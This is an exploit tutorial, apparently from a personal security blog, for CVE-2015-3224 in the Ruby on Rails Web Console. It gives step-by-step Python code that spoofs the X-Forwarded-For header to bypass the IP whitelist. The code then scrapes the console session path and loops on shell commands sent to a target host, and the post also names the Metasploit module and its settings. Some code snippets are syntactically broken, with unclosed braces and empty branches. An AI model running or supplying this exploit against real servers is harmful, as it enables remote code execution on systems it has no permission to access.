Exploiting CVE-2015-3224 | Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution

This post is to get you understanding on the vulnerability and ways to exploit.


This exploits are in the wild and affecting all Ruby on Rails web application version 4.0.x and 4.1.x where the web console is enable which is default to development and test environment.


The vulnerability relies on IP whitelist in the developer web console so that only allowed IP can view the web console.


The exploit is to craft remote request to spoof their origin and bypassing the IP whitelist to use the web console. This cause in Remote Code Execution (RCE) to target web application. This exploit is also affect code execution on Rails 4.2.x if the attack is launched from whitelisted IP range. If the whitelisted IP is localhost, you might need to use local proxy to exploit this application.


The example here is written in Python. When dealing with web, I like to use python requests library since it is very easy to use. The first part is to get 404 on the Rails application. This can easily be done by appending any non-existing page in the url.

import requests

url = 'http://victim.com/'
response = requests.get(url + 'non-existing-page')
print response.status_code # should be 404

If viewing on web, you should see Rails debug information if the application is in development mode. Moving on!

Next important part is to spoof the origin with X-Forwarded-For header.

The X-Forwarded-For HTTP header field is a common method for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or load balancer.
Source: Wikipedia

By setting the X-Forwarded-For header to localhost, this will spoof the server origin whitelist IP (which is allowed in localhost) and allowing us to view and use the web console.

header = {
    'X-Forwarded-For' : '::1'
response = requests.get(url + 'non-existing-page', headers=header)

After spoofing the origin, the console should be seen. You can type arbitary command between the backticks enclosure to run shell commands. To do this in python, you need to grab the remote console session path first. This can easily be done using python regex library.

import requests
import re

url = 'http://victim.com/'
header = {
    'X-Forwarded-For' : '::1'
response = requests.get(url + 'non-existing-page', headers=header)
console_remote_path = re.findall("data-remote-path='(.*)'", response.text)[0]
print console_remote_path

After getting the console_remote_path you can interact with the web console by using PUT request method inside while loop. You should now have a working python exploit script. Cheers!

url = url + console_remote_path
while True:
	header = {
        'X-Forwarded-For': '::1',
        'Accept': 'application/vnd.web-console.v2',
        'X-Requested-With': 'XMLHttpRequest'
	cmd = raw_input('cmd> ')
	if cmd == 'exit' or cmd == 'quit':
	elif cmd == ' ':

	cmd = '`' + cmd + '`' # Important! running shell command should be enclosed between backticks
	data = {'input': cmd}
	response = requests.put(url, data=data, headers=header)
    # beautify output
	content = response.text.split('\\n')[0:-2]
        for line in content:
            line = line.strip('\\')
            line = line.split('"', -1)[-1]

For further exploitation on getting a reverse shell, you should visit my other blog post specifically on reverse shell.

Exploiting using Metasploit

Using Metasploit has other advantages of managing between sessions and running modules for further exploitation.

To exploit this vulnerability using Metasploit, you can use exploit/multi/http/rails_web_console_v2_code_exec. Set RHOST and RPORT to match your victim Rails web service. Finally run exploit to start exploiting the target. Note that when using Metasploit, RHOST must be an IP address not a hostname.

This vulnerability was reported by both joernchen of Phenoelit and Ben Murphy.

URL: https://www.cvedetails.com/cve/cve-2015-3224
URL: http://openwall.com/lists/oss-security/2015/06/16/18
URL: https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ
URL: https://hackerone.com/reports/44513